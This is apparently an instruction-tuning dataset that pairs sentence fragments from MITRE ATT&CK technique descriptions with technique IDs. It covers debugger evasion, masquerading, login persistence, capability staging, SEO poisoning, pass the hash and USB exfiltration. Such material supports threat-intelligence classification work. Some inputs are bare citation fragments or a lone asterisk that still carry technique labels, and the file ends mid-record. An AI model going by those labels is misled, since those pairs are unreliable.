"Adversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors.", "output": "T1622", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. ### Response: T1622."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as <code>OutputDebugStringW()</code>.(Citation: wardle evilquest partii)(Citation:", "output": "T1622", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as <code>OutputDebugStringW()</code>.(Citation: wardle evilquest partii)(Citation: ### Response: T1622."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Checkpoint Dridex Jan 2021)", "output": "T1622", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Checkpoint Dridex Jan 2021) ### Response: T1622."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site) ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Masquerading may also include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Masquerading may also include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can hide a program's true filetype by changing the extension of a file.", "output": "T1036.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can hide a program's true filetype by changing the extension of a file. ### Response: T1036.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.", "output": "T1036.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. ### Response: T1036.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, if there is a Mach-O executable file called <code>evil.bin</code>, when it is double clicked by a user, it will launch Terminal.app and execute.", "output": "T1036.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, if there is a Mach-O executable file called <code>evil.bin</code>, when it is double clicked by a user, it will launch Terminal.app and execute. ### Response: T1036.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If this file is renamed to <code>evil.txt</code>, then when double clicked by a user, it will launch with the default text editing application (not executing the binary).", "output": "T1036.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If this file is renamed to <code>evil.txt</code>, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). ### Response: T1036.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, if the file is renamed to <code>evil.txt </code> (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).", "output": "T1036.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, if the file is renamed to <code>evil.txt </code> (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). ### Response: T1036.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.", "output": "T1036.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious. ### Response: T1036.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation:", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may achieve the same goal by modifying or extending features of the kernel.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may achieve the same goal by modifying or extending features of the kernel. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify plist files to automatically run an application when a user logs in.", "output": "T1547.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify plist files to automatically run an application when a user logs in. ### Response: T1547.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to \"Reopen windows when logging back in\".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named <code>com.apple.loginwindow.[UUID].plist</code> within the <code>~/Library/Preferences/ByHost</code> directory.(Citation: Methods of Mac Malware Persistence)(Citation:", "output": "T1547.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to \"Reopen windows when logging back in\".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named <code>com.apple.loginwindow.[UUID].plist</code> within the <code>~/Library/Preferences/ByHost</code> directory.(Citation: Methods of Mac Malware Persistence)(Citation: ### Response: T1547.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Wardle Persistence Chapter)", "output": "T1547.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Wardle Persistence Chapter) ### Response: T1547.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Applications listed in this file are automatically reopened upon the user\u2019s next logon.", "output": "T1547.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Applications listed in this file are automatically reopened upon the user\u2019s next logon. ### Response: T1547.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the <code>com.apple.loginwindow.[UUID].plist</code> file to execute payloads when a user logs in.", "output": "T1547.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the <code>com.apple.loginwindow.[UUID].plist</code> file to execute payloads when a user logs in. ### Response: T1547.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting.", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control.", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation:", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation: ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n*", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n* ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation:", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Proofpoint TA407 September 2019)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Proofpoint TA407 September 2019) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation:", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DigiCert Install SSL Cert)", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DigiCert Install SSL Cert) ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims.", "output": "T1608.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. ### Response: T1608.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Search engines typically display results to users based on purchased ads as well as the site\u2019s ranking/score/reputation calculated by their web crawlers and algorithms.(Citation:", "output": "T1608.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Search engines typically display results to users based on purchased ads as well as the site\u2019s ranking/score/reputation calculated by their web crawlers and algorithms.(Citation: ### Response: T1608.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Atlas SEO)(Citation:", "output": "T1608.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Atlas SEO)(Citation: ### Response: T1608.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MalwareBytes SEO)\n\nTo help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)) within search engines.", "output": "T1608.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MalwareBytes SEO)\n\nTo help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)) within search engines. ### Response: T1608.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites.", "output": "T1608.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. ### Response: T1608.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).(Citation:", "output": "T1608.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).(Citation: ### Response: T1608.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ZScaler SEO)(Citation: Atlas SEO)", "output": "T1608.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ZScaler SEO)(Citation: Atlas SEO) ### Response: T1608.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also purchase or plant incoming links to staged capabilities in order to boost the site\u2019s calculated relevance and reputation.(Citation:", "output": "T1608.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also purchase or plant incoming links to staged capabilities in order to boost the site\u2019s calculated relevance and reputation.(Citation: ### Response: T1608.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MalwareBytes SEO)(Citation: DFIR Report Gootloader)\n\nSEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.(Citation: ZScaler SEO)(Citation: Sophos Gootloader)", "output": "T1608.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MalwareBytes SEO)(Citation: DFIR Report Gootloader)\n\nSEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.(Citation: ZScaler SEO)(Citation: Sophos Gootloader) ### Response: T1608.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.).", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s).", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s).", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Because the alternate authentication must be maintained by the system\u2014either in memory or on disk\u2014it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques.", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Because the alternate authentication must be maintained by the system\u2014either in memory or on disk\u2014it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors. ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may \u201cpass the hash\u201d using stolen password hashes to move laterally within an environment, bypassing normal system access controls.", "output": "T1550.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may \u201cpass the hash\u201d using stolen password hashes to move laterally within an environment, bypassing normal system access controls. ### Response: T1550.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password.", "output": "T1550.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. ### Response: T1550.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.", "output": "T1550.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. ### Response: T1550.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique.", "output": "T1550.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. ### Response: T1550.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Captured hashes are used with PtH to authenticate as that user.", "output": "T1550.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Captured hashes are used with PtH to authenticate as that user. ### Response: T1550.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once authenticated, PtH may be used to perform actions on local or remote systems.", "output": "T1550.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once authenticated, PtH may be used to perform actions on local or remote systems. ### Response: T1550.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use stolen password hashes to \"overpass the hash.\"", "output": "T1550.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use stolen password hashes to \"overpass the hash.\" ### Response: T1550.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket.", "output": "T1550.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. ### Response: T1550.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)", "output": "T1550.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) ### Response: T1550.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "attacks.(Citation: Stealthbits Overpass-the-Hash)", "output": "T1550.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: attacks.(Citation: Stealthbits Overpass-the-Hash) ### Response: T1550.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to exfiltrate data over a USB connected physical device.", "output": "T1052.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to exfiltrate data over a USB connected physical device. ### Response: T1052.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user.", "output": "T1052.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. ### Response: T1052.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.", "output": "T1052.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems. ### Response: T1052.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive.", "output": "T1052", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: 